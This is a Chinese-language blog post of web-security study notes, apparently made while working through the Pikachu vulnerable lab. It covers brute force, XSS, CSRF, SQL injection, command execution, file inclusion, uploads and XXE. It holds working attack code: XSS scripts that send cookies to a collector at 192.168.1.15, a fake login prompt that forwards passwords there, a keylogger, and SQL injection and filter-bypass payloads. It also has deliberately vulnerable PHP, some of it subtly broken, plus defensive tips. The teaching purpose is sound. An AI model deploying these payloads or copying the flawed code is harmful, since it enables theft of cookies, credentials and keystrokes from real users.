web安全攻防从入门到放弃-记录
1.暴力破解攻擊
連續(xù)性嘗試 + 字典 + 自動化
一個有效的字典,可以大大的提高暴力破解的效率
?a. 常用的賬號密碼(弱口令),比如常用用戶名/密碼TOP 500等。
?b.互聯(lián)網(wǎng)上被脫褲后賬號密碼(社工庫),比如CSDN當年泄露的約600w用戶信息。
?c.使用指定的字符使用工具按照指定的規(guī)則進行排列組合算法生成的密碼。
思路:
? a.是否要求用戶設(shè)置了復(fù)雜的密碼;
? b.是否每次認證都是用安全的驗證碼;
? c.是否對嘗試登陸的行為進行判斷和限制;
? d.是否在必要的情況下采用了雙因素認證;
測試流程
? a.確認登錄接口的脆弱性;
? b.對字典進行優(yōu)化;
? c.工具自動化操作。
技巧
? a.根據(jù)注冊提示信息進行優(yōu)化,對目標站點進行注冊,搞清楚賬號密碼的一些限制,比如目標站點要求密碼必須是6位以上,字母數(shù)字組合,則可以按照此優(yōu)化字典,比如去掉不符合要求的密碼。
? b.如果爆破的是管理后臺,往往這種系統(tǒng)的管理員是admin/administrator/root的幾率比較高,可以使用這三個賬號+隨便一個密碼,嘗試登陸,觀看返回的結(jié)果,確定用戶名。
? ? 比如:
? ? ?輸入xxx/yyyf返回"用戶名或密碼錯誤";
? ? ?輸入admin/yyy返回"密碼錯誤", 則基本可以確定用戶名是admin;因此可以只對密碼進行爆破即可,提高效率。
2.burp suite介紹
?target選項卡: 設(shè)置攻擊目標,可以通過proxy發(fā)送;
pasitions選項卡:指定需要暴力破解的參數(shù)并設(shè)置成變量,同時選擇攻擊模式:
? ?Sniper:狙擊手---設(shè)置一個payload,先將第一個變量使用字典進行測試,然后在將第二個變量使用字典進行測試;
? ?Battering ram:沖撞車---設(shè)置一個payload,所有的變量一起用字典內(nèi)容被替換,然后一起嘗試;
? ?Ptichfork:草叉型---每個變量設(shè)置一個payload,分別使用對應(yīng)的字典對變量進行同時替換;
? ?Cluster bomb:焦束炸彈---需要為每個變量設(shè)置一個payload,分別使用字典內(nèi)容組合對變量進行替換;
3.聊聊“驗證碼”
? ?目的:a.登錄暴力破解 b.防止機器惡意注冊
驗證碼的認證流程:
? 客戶端request登錄頁面,后臺生成驗證碼:
? ? 1.后臺使用算法生成圖片,并將圖片response給客戶端:
? ? 2.同時將算法生成的值全局賦值存到SESSION中;
? 校驗驗證碼:
? ? 1.客戶端將認證信息和驗證碼一同提交;
? ? 2.后臺對提交的驗證碼與SESSION里面的進行比較;
? 客戶端重新刷新頁面,再次生成新的驗證碼:
? ? 驗證碼算法中一般包含隨機函數(shù),所以每次刷新都會改變。
? 不安全的驗證碼-on client常見問題:
? ? ?使用前端js實現(xiàn)驗證碼(紙老虎);
? ? ?將驗證碼在cookie中泄露,容器被獲取;
? ? ?將驗證碼在前端源代碼中泄露,容易被獲取。
? 不安全的驗證碼-on server常見問題:
? ? ? 驗證碼在后臺不過期,導(dǎo)致可以長期被使用;
? ? ? 驗證碼校驗不嚴格,邏輯出現(xiàn)問題;
? ? ? 驗證碼設(shè)計的太過簡單和有規(guī)律,容易被猜解
目前簡單的驗證碼已經(jīng)有很成熟的識別技術(shù),基本也等于形同虛設(shè),你想想12306的驗證碼為啥要弄得很復(fù)雜~
有一個案例是存儲在SESSION中的驗證碼有過期值,但每次使用完驗證碼,并沒有手動銷毀存儲在SESSION中的記錄,導(dǎo)致可以暴力破解。
4.暴力破解防范
token防不了暴力破解,一個簡單的token的實例:
//生成一個token,以當前微妙時間+一個5位的前綴 function set_token(){if (isset($_SESSION['token'])) {unset($_SESSION['token']);}$_SESSION['token']=str_replace('.', '', uniqid(mt_rand(10000, 99999), true)); }一般的做法:
? 1.將token以"type='hidden'"的形式輸出在表單中;
? ?2.在提交的認證的時候一起提交,并在后臺對其進行校驗;
但是,由于其token值輸出在了前端源碼中,容易被獲取,因此也就失去了防暴力破解的意義。一般Token在防止CSRF上會有比較好的功效。
5.跨站腳本漏洞
? ?XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。
? ?XSS是一種發(fā)生在Web前端的漏洞,所以其危害的對象也主要是前端用戶。
? ?XSS漏洞可以用來進行釣魚攻擊、釣魚攻擊、前端js挖礦、用戶cookie獲取。甚至可以結(jié)合瀏覽器自身的漏洞對用戶主機進行遠程控制等
? ? XSS(竊取cookie)攻擊流程:
? ??
? ?危害:存儲型>反射型>DOM型
? ? 反射型: 交互的數(shù)據(jù)一般不會被存在在數(shù)據(jù)庫里面,一次性,所見即所得,一般出現(xiàn)在查詢類頁面等。
? ? 存儲型:交互的數(shù)據(jù)會被存在在數(shù)據(jù)庫里面,永久性存儲,一般出現(xiàn)在留言板,注冊等頁面。
? ? DOM型:不與后臺服務(wù)器產(chǎn)生數(shù)據(jù)交互,是一種通過DOM操作前端代碼輸出的時候產(chǎn)生的問題,一次性也屬于反射型。
? ?跨站腳本漏洞測試流程:
? ? ?1.在目標站點上找到輸入點,比如查詢接口,留言板等;
? ? ?2.輸入一組"特殊字符+唯一識別字符", 點擊提交后,查看返回的源碼,是否有做對應(yīng)的處理;
? ? ?3.通過搜索定位到唯一字符,結(jié)合唯一字符前后語法確認是否可以構(gòu)造執(zhí)行js的條件(構(gòu)造閉合);
? ? ?4.提交構(gòu)造的腳本代碼(以及各種繞過姿勢),看是否可以成功執(zhí)行,如果成功執(zhí)行則說明存在XSS漏洞;
? ?TIPS:
? ? ? 1.一般查詢接口容易出現(xiàn)反射型XSS,留言板容易出現(xiàn)存儲型XSS;
? ? ? ?2.由于后臺可能存在過濾措施,構(gòu)造的script可能會被過濾掉,而無法生效,或者環(huán)境限制了執(zhí)行(瀏覽器);
? ? ? ?3.通過變化不同的script,嘗試繞過后臺過濾機制。
6.反射型XSS的后臺代碼示例:
$html=''; if(isset($_GET['submit'])) {if (empty($_GET['message'])) {$html.="<p class='notice'>輸入'kobe'試試-_-</p>";} else {if ($_GET['message'] == 'kobe') {$html.="<p class='notice'>愿你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img...>} else {$html.="<p class='notice'>who is {$_GET['message']}, i don't care!</p>";}} }7.存儲XSS漏洞:
? ? 存儲型XSS漏洞跟反射型形成的原因一樣,不同的是存儲型XSS下攻擊者可以將腳本注入到后臺存儲起來,構(gòu)成更加持久的尾號,因此存儲型XSS也稱"永久性"XSS。
? ? 我們可以首先嘗試使用一些如'、"、<>、?、&等特殊字符來試一下能不能正常跑完一個流程,然后有了這個“基礎(chǔ)”,再“循序漸進”嘗試其他復(fù)雜的。
? ? 后臺存儲代碼示例:
$link=connect(); $html=''; if (array_key_exists("message", $_POST) && $_POST['message'] != null) {$message = escape($link, $_POST['message']);$query="insert into message(content, time) values('$message', now())";$result = execute($link, $query);if (mysqli_affected_rows($link) != 1) {$html .= "<p>數(shù)據(jù)庫出現(xiàn)異常,提交失敗!</p>";} }8.DOM XSS漏洞舉例
直接上代碼可以看懂:
本質(zhì)上還是在原有的框架中做“更多的事情”(比如彈框等)。
dom型xss不涉及后端代碼,看起來像個雞肋,但如果dom型xss輸入點變成了反射型xss。
9.cookie獲取和釣魚攻擊
? ?cookie獲取圖示:
? 上圖中的攻擊者的后臺代碼:
//這個是獲取cookie的api頁面 if (isset($_GET['cookie'])) {$time = date('Y-m-d g:i:s');$ipaddress = getenv('REMOTE_ADDR');$cookie = $_GET['cookie'];$referer = $_SERVER['HTTP_REFERER'];$useragent = $_SERVER['HTTP_USER_AGENT'];$query = "insert cookies(time, ipaddress, cookie, referer, useragent)values('$time', '$ipaddress', '$cookie', '$referer', '$useragent')";$result = mysqli_query($link, $query); } header("Location:http://192.168.1.4/pikachu/index.php"); //重定向到一個可信的網(wǎng)站? 在有xss的輸入框中寫上如下內(nèi)容:
? ?<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>
? ?然后點擊提交按鈕,就會執(zhí)行腳本,并將cookie值發(fā)送給外部網(wǎng)站,造成cookie泄露。
10.post方式的xss
? ?在get方式的xss基礎(chǔ)上多做了一步(主動構(gòu)造),看代碼:
? 以下放在192.168.1.5機器,然后用戶訪問http://192.168.1.5/post.html
<html> <head> <script>window.onload = function() {document.getElementById("postsubmit").click();} </script> </head> <body><form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php"><input id="xssr_in" type="text" name="message" value = "<script>document.location='http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" /></form> </body> </html>11.XSS釣魚
? ? 代碼如下:
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {//發(fā)送認證框,并給出迷惑性的infoheader('Content-type:text/html;charset=utf-8');header("WWW-AUthenticate: Basic realm='認證'");header('HTTP/1.0 401 Unauthorized');echo 'Authorization Required.';exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))) {//將結(jié)果發(fā)送給收集信息的后臺,請將這里的IP地址修改為管理后臺的IPheader("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USERNAME]}&password={$_SERVER[PHP_AUTH_PW]}"); }?12.xss獲取鍵盤記錄
? ?后臺接收的代碼:
$link=connect();//設(shè)置允許被跨域訪問,不然在其他站點運行會報錯。 header("Access-Control-Allow-Origin:*");$data = $_POST['datax']; $query = "insert keypress(data) values('$data')"; $result = mysqli_query($link, $query);? ?前端調(diào)用的頁面代碼:
function createAjax() {var request=false;if (window.XMLHttpRequest) {request = new XMLHttpRequest();if (request.overrideMimeType) {request.overrideMimeType("text/xml");}} else if (window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP'];for (var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);if (request) {return request;}} catch(e) {request = false;}}}return request; }var ajax=null; var xl = "datax=";function onkeypress() {var realkey = String.fromCharCode(event.keyCode);xl += realkey;show(); }document.onkeypress = onkeypress;function show() {ajax = createAjax();ajax.onreadystatechange = function() {if (ajax.readyState == 4) {if (ajax.status == 200) {var data = ajax.responseText;} else {alert("頁面請求失敗");}}}var postdata = xl;ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php", true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.setRequestHeader("Content-Length", postdata.length);ajax.setRequestHeader("Connection", "close");ajax.send(postdata); }13.XSS盲打---指的是前端注入xss代碼,后臺管理員登錄時就會彈框,導(dǎo)致漏洞。
14.XSS繞過-過濾-轉(zhuǎn)換
? ? 1.前端限制繞過,直接抓包重放,或者修改html前端代碼
? ? 2.大小寫,比如:<SCRIPT>aLeRT(111)</sCRIpt>
? ? 3.拼湊:<sci<script>pt>alert(111)</scri</script>pt>
? ? 4.使用注釋進行干擾:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
XSS繞過的姿勢有很多,取決于你的思路和對前端技術(shù)的掌握程度。
? 如下的過濾條件只對小寫有效,所以可以繞過:
$html=''; if (isset($_GET['submit']) && $_GET['message'] != null) {//這里會使用正則對<script進行替換為空,也就是過濾掉$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);if ($message == 'yes') {$html .= "<p>那就去人民廣場一個人坐一會兒吧!</p>";} else {$html .= "<p>別說話</p>";} }繞過上面的例子有:
? ? 1.<img src=x οnerrοr="alert(111)">
? ? 2.<ScRiPT>alert(111)</Script>
15.XSS繞過-關(guān)于htmlspecialchars()函數(shù)
? ? htmlspecialchars()函數(shù)把預(yù)定義的字符轉(zhuǎn)換為HTML實體。
? ? 預(yù)定義的字符是:
? ? ?&(和號)成為&
? ? ?"(雙引號)成為"
? ? ?'(單引號)成為'
? ? ?<(小于)成為<
? ? ?>(大于)成為>
? ? 可用的引號類型:
? ? ? ENT_COMPAT - 默認。僅編碼雙引號。
? ? ? ENT_QUOTES - 編碼雙引號和單引號。
? ? ? ENT_NOQUOTES - 不編碼任何引號。
這塊可能由程序員對此函數(shù)的使用有問題導(dǎo)致漏洞。
16.XSS常見防范措施
? ? 總的原則:輸入做過濾,輸出做轉(zhuǎn)義。
? ? 代碼示例:
if (isset($_GET['submit'])) {if (empty($_GET['message'])) {$html .= "<p class='notice'>叫你輸入個url,你咋不聽?</p>";}if ($_GET['message'] == 'www.baidu.com') {$html .= "<p class='notice'>我靠,我真想不到你是這樣的一個人</p>";} else {//輸出在a標簽的href屬性里面,可以使用javascript協(xié)議來執(zhí)行js//防御:只允許http,https,其次在進行htmlspecialchars處理$message = htmlspecialchars($_GET['message'],ENT_QUOTES);$html .= "<a href='{$message}'>閣下自己輸入的url還請自己點一下吧</a>";} }17.CSRF漏洞解析-目錄
? ? 在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊也就完成了。所以CSRF攻擊也被稱為"one click"攻擊。
? ? 小黑想要修改lucy的個人信息,應(yīng)該怎么辦?
? ? ? -需要有l(wèi)ucy的權(quán)限!
? ? 于是小黑將修改個人信息的請求偽造一下,然后引誘lucy在登陸的情況下點擊,攻擊成功了!
http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_mem_edit.php?sex=女&phonenum=13856564455&add=火星村111號&email=lucy@pikachu.com&submit=submit
? ? 為什么小黑的攻擊可以成功?
? ? 條件1:xxx購物網(wǎng)站沒有對個人信息修改的請求進行防CSRF處理,導(dǎo)致該請求容易被偽造。
? ? 因此,我們判斷一個網(wǎng)站是否存在CSRF漏洞,其實就是判斷其對關(guān)鍵信息(比較密碼等敏感信息)的操作(增刪改)是否容易被偽造。
? ? 條件2:lucy在登陸了后臺的情況下,點擊了小黑發(fā)送的“埋伏”鏈接。如果lucy不在登陸狀態(tài)下,或者lucy根本就沒有點擊這個鏈接,則攻擊不會成功。
? ? 如果小黑事先在xx網(wǎng)的首頁如果發(fā)現(xiàn)了一個XSS的漏洞,則小黑可能會這樣做:
1.欺騙lucy訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面;
2.lucy中招,小黑盜取到lucy的cookie:
3.小黑順利登陸到lucy的后臺,小黑自己修改lucy的相關(guān)信息;
? ?所以跟上面比一下,就可以看出CSRF與XSS的區(qū)別:
? ?CSRF是借用戶的權(quán)限來完成攻擊,攻擊者并沒有拿到用戶的權(quán)限,而XSS是直接盜取了用戶的權(quán)限,然后實施破壞。
? ?如何確認一個web系統(tǒng)存在CSRF漏洞
1.對目標網(wǎng)站增刪改的地方進行標記,并觀察其邏輯,判斷請求是否可以被偽造
? ?---比如修改管理員賬號時,并不需要驗證舊密碼,導(dǎo)致請求容易被偽造;
? ?---比如對于敏感信息的修改并沒有使用安全的token驗證,導(dǎo)致請求容易被偽造。
2.確認憑證的有效期(這個問題會提高CSRF被利用的概率)
? ---雖然退出或者關(guān)閉了瀏覽器,但cookie仍然有效,或者session并沒有及時過期,導(dǎo)致CSRF攻擊變得簡單。
18.Token是如何防止CSRF的?
?CSRF的主要問題是敏感操作的鏈接容易被偽造,那么如何讓這個鏈接不容易被偽造?
? ? --每次請求,都增加一個隨機碼(需要夠隨機,不容易偽造),后臺每次對這個隨機碼進行驗證!
? 防范措施:
增加token的驗證(常用的做法):
?1.對關(guān)鍵操作增加token參數(shù),token值必須隨機,每次都不一樣;
關(guān)于安全的會話管理(避免會話被利用):
1.不要在客戶端保存敏感信息(比如身份認證信息);
2.測試直接關(guān)閉,退出時,會話過期機制;
3.設(shè)置會話過期機制,比如15分鐘內(nèi)無操作,則自動登錄超時;
訪問控制安全管理:
1.敏感信息的修改時需要對身份進行二次認證,比如修改賬號時,需要判斷舊密碼;
2.敏感信息的修改使用post,而不是get:
3.通過http頭部中的referer來限制原頁面
增加驗證碼:
一般用在登錄(防暴力破解),也可以用在其他重要信息操作的表單中(需要考慮可用性).
19.SQL Inject漏洞攻擊流程
第一步:注入點探測
? ? 自動方式:使用web漏洞掃描工具,自動進行注入點發(fā)現(xiàn)
? ? 手動方式:手工構(gòu)造sql inject測試語句進行注入點發(fā)現(xiàn)
第二步:信息獲取
? ? 通過注入點取期望得到的數(shù)據(jù)。
? ? 1、環(huán)境信息:數(shù)據(jù)庫類型,數(shù)據(jù)庫版本,操作系統(tǒng)版本,用戶信息等。
? ? 2、數(shù)據(jù)庫信息:數(shù)據(jù)庫名稱,數(shù)據(jù)庫表,表字段,字段內(nèi)容(加密內(nèi)容破解)
第三步:獲取權(quán)限
? ? 獲取操作系統(tǒng)權(quán)限:通過數(shù)據(jù)庫執(zhí)行shell,上傳木馬
? ? 判斷注入點的類型?
?數(shù)字型? ?user_id=$id
字符型? ? user_id='$id'
搜索型? text LIKE '%{$_GET['search']}%'"
20.數(shù)字型sql注入
? 后臺代碼如下:
if (isset($_POST['submit']) && $_POST['id'] != null) {//這里沒有做任何處理,直接拼到select里面去了,形成sql注入$id = $_POST['id'];$query="select username, email from member where id=$id";$result = execute($link, $query); }21.字符型sql注入
? ? 后臺代碼如下:
if (isset($_GET['submit']) && $_GET('name') != null) {//這里沒有做任何處理,直接拼到select里面去了$name = $_GET['name'];//這里的變量是字符型,需要考慮閉合$query="select id,email from member where username='$name'";$result = execute($link, $query); }22.搜索型注入
? ? 后臺代碼如下:
if (isset($_GET['submit']) && $_GET['name'] != null) {//這里沒有做任何處理,直接拼到select里面去了$name = $_GET['name'];//這里的變量是模糊匹配,需要考慮閉合$query = "select username,id,email from member where username like '%$name%'";$result = execute($link, $query); }攻擊例子:
xxxx%' or 1=1 #
? ? 關(guān)鍵點是猜測出后臺變量的拼接方式,然后閉合掉前面的,執(zhí)行我們自己的。
? ?此處我們的流程是看完后臺代碼,然后找出閉合點構(gòu)造攻擊,正常情況下,我們是不知道后臺代碼,這時候就需要前端嘗試攻擊,并根據(jù)返回結(jié)果判斷是否具有攻擊點。比如只輸入一個單引號,這時候看返回的錯誤提示可以判斷是否有攻擊點。
注入方式get&post區(qū)別
? ? GET方式中使用URL提交注入數(shù)據(jù);
? ? POST方式中使用抓包工具修改post數(shù)據(jù)部分提交注入;
23.SQLI-基于union聯(lián)合查詢的信息獲取
? ? union聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù)
select username,password from user where id=1 union select 字段1,字段2 from 表名
? ? information_schema
在mysql中,自帶的information_schema這個表里面存放了大量的重要信息。具體如下:
如果存在注入點的話,可以直接嘗試對該數(shù)據(jù)庫進行訪問,從而獲取更多的信息。
比如:
SCHEMATA表:提供了當前mysql實例中所有數(shù)據(jù)庫的信息。是show databases的結(jié)果取之此表。
TABLES表:提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)。詳細表述了某個表屬于哪個schema,表類型,表引擎,創(chuàng)建時間等信息。是show tables from schemaname的結(jié)果取之此表。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結(jié)果取之此表。
24.基于報錯的信息獲取-三個常用的用來報錯的函數(shù)-updatexml()
Updatexml()函數(shù)作用:改變(查找并替換)XML文檔中符合條件的節(jié)點的值。
語法:UPDATEXML(xml_document, XPathstring, new_value)
第一個參數(shù):fiedname是String格式,為表中的字段名。
第二個參數(shù):XPathstring(Xpath格式的字符串).
第三個參數(shù):new_value,String格式,替換查找到的符合條件的
Xpath定位必須是有效的,否則會發(fā)生錯誤。
攻擊示例:
kobe' and updatexml(1,concat(0x7e,version()), 0)#
kobe' and updatexml(1,concat(0x7e,database()), 0)#
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)), 0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
25.基于boolean的盲注案例
kobe' and ascii(substr(database(),1,1))>113#(select table_name from information_schema.tables where table_schema=database() limit 0,1)26.sqlmap經(jīng)典用法
第一步:
-u?"xxx" --cookie="yyy" //帶上cookie對URL進行注入探測
第二步:
-u "xxx" --cookie="yyy" --current-db //對數(shù)據(jù)庫名進行獲取
第三步:
-u "xxx" --cookie="yyy" -D pikachu --tables//對數(shù)據(jù)庫的表名進行枚舉
第四步:
-u "xxx" --cookie="yyy" -D pikachu -T users --columns //對dvwa庫里面的名為users表的列名進行枚舉
27.rce
? ? 后臺代碼:
if (isset($_POST['submit']) && $_POST['ipaddress'] != null) {$ip = $_POST['ipaddress'];if (stristr(php_uname['s'], 'windows')) {result .= shell_exec('ping '.$ip);//直接將變量進行拼接,沒做處理} else {$result .= shell_exec('ping -c 4 '.$ip);} }28.文件包含漏洞
? 在web后臺開發(fā)中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會使用"包含"函數(shù)功能,比如把一系列功能函數(shù)都寫進function.php中,之后當某個文件需要調(diào)用的時候就直接在文件頭中寫上一句<?php include function.php?>就可以調(diào)用函數(shù)代碼。
但有些時候,因為網(wǎng)站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于開發(fā)人員沒有對要包含的這個文件進行安全考慮,就導(dǎo)致攻擊者可以通過修改包含文件的位置來讓后臺執(zhí)行任意文件(代碼)。
這種情況我們稱為"文件包含漏洞"
文件包含漏洞有“本地文件包含漏洞”和“遠程文件包含漏洞”兩種情況。
后臺代碼:
$html=''; if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "include/$filename": //變量傳進來直接包含,沒做任何的安全限制//安全的寫法,使用白名單,嚴格制定包含的文件名//if ($filename == 'file1.php' || $filename == 'file2.php' || $filename == 'file3.php')//include "include/$filename";//} }遠程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼。
遠程包含漏洞前提:如果使用的include和require,則需要php.ini配置如下(php5.4.34):
allow_url_fopen = on //默認打開
Allow_url_include = on //默認關(guān)閉
后臺代碼:
//遠程文件包含漏洞,需要php.ini的配置文件符合相關(guān)的配置 $html = ''; if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename'];include "$filename"; //變量傳進來直接包含,沒做任何的安全措施 }29.不安全的下載
? 后臺代碼:
?
<?php$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR = "inc/function.php";header("Content-type:text/html;charset=utf-8"); $file_path = "download/{$_GET['filename']}"; //用以解決中文不能顯示出來的問題 $file_path = iconv("utf-8", "gb2312", $file_path);//首先要判斷給定的文件存在與否 if (!file_exists($file_path)) {skip("你要下載的文件不存在,請重新下載", 'unsafe_down.php');return; }$fp = fopen($file_path, "rb"); $file_size = filesize($file_path); //下載文件需要用到的頭 ob_clean(); //輸出錢一定要clean一下,否則圖片打不開 Header("Content-type: application/actext-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length:".$file_size); Header("Content-Disposition: attachment; filename=".basename($file_path)); $buffer=1024; $file_count = 0;//向瀏覽器返回數(shù)據(jù)//循環(huán)讀取文件流,然后返回到瀏覽器feof確認是否到EOF while (!feof($fp) && $file_count*$file_size) {$file_con = fread($fp, $buffer);$file_count == $buffer;return $file_con; } fclose($fp);? 防范措施:
1.對傳入的文件名進行嚴格的過濾和限定
2.對文件下載的目錄進行嚴格的限定。
30.不安全的文件上傳漏洞
因為業(yè)務(wù)功能需要,很多web站點都有文件上傳的接口,比如:
? 1.注冊時上傳頭像圖片(比如jsg,png,gif等);
? 2.上傳文件附件(doc,xls等);
而在后臺開發(fā)時并沒有對上傳的文件功能進行安全考慮或者才用了有缺陷的措施,導(dǎo)致攻擊者可以通過一些手段繞過安全措施從而上傳一些惡意文件(如:一句話木馬),從而通過對惡意文件的訪問來控制整個web后臺。
? 測試流程:
1.對文件上傳的地方按照要求上傳文件,查看返回結(jié)果(路徑,提示等);
2.嘗試上傳不同類型的"惡意"文件,比如xx.php文件,分析結(jié)果;
3.查看html源碼,看是否通過js在前端做了上傳限制,可以繞過;
4.嘗試使用不同方式進行繞過:黑白名單繞過/MIME類型繞過/目錄0x00截斷繞過等;
5.猜測或者結(jié)合其他漏洞(比如敏感信息泄露等)得到木馬路徑,連接測試;
31.文件上傳漏洞-type驗證原理和繞過
? ? 后臺代碼:
$html=''; if (isset($_POST['submit'])) {$mime = array('image/jpg', 'image/jpeg', 'image/png'); //指定MIME類型,這里只是對MIME類型做了判斷$save_path = 'uploads'; //指定在當前目錄建立一個目錄$upload = upload_sick('uploadfile', $mime, $save_path);//調(diào)用函數(shù)if ($upload['return']) {$html .= "<p class='notice'>文件上傳成功</p><p class='notice'>文件保存的路徑為</p>";} else {$html.="<p class=notice>{$upload['error']}</p>";} }32.getimagesize()
Getimagesize()返回結(jié)果中有文件大小和文件類型,如果用這個函數(shù)來獲取類型,從而判斷是否是圖片的話,會存在問題。
是否可以繞過呢?可以,因為圖片可以被偽造。
圖片木馬的制作:
方法1:直接偽造頭部GIF89A
方法1:CMD:copy /b test.png + muma.php cccc.png
方法2:使用GIMP(開源的圖片修改軟件),通過增加備注,寫入執(zhí)行命令。
等到木馬圖片上傳成功后,可以利用文件包含include來對此圖片路徑進行include,此時隱藏在最后的代碼就會被執(zhí)行。
防范措施:
1.不要在前端使用JS實施上傳限制策略
2.通過服務(wù)端對上傳文件進行限制:
? a.進行多條件組合檢查:比如文件的大小、路徑,擴展名,文件類型,文件完整性
? b.對上傳的文件在服務(wù)器上存儲時進行重命名(指定合理的命令規(guī)則)
? c.對服務(wù)器端上傳文件的目錄進行權(quán)限控制(比如只讀),限制執(zhí)行權(quán)限帶來的危害
33.越權(quán)漏洞
? 后臺代碼:
$link = connect(); //判斷是否登錄,沒有登錄不能訪問 if (!check_op_login($link)) {header("location:op1_login.php"); } $html = ''; if (isset($_GET['submit']) && $_GET['username'] != null) {//沒有使用session來校驗,而是使用的傳進來的值,權(quán)限校驗出現(xiàn)問題,這里應(yīng)該跟登錄態(tài)關(guān)系進行綁定$username = escape($link, $_GET['username']);$query = "select * from member where username = '$username'";$result = execute($link, $query); }34.XXE漏洞
?simplexml_load_string()
函數(shù)轉(zhuǎn)換形式良好的XML字符串為SimpleXMLElement對象
在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默認是禁止解析xml外部實體內(nèi)容的。
XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時,沒有禁止外部實體的加載,導(dǎo)致攻擊者可以構(gòu)造一個惡意的XML。
?
總結(jié)
以上是生活随笔為你收集整理的web安全攻防从入门到放弃-记录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python3+WebSockets实现
- 下一篇: socket编程--sockaddr_i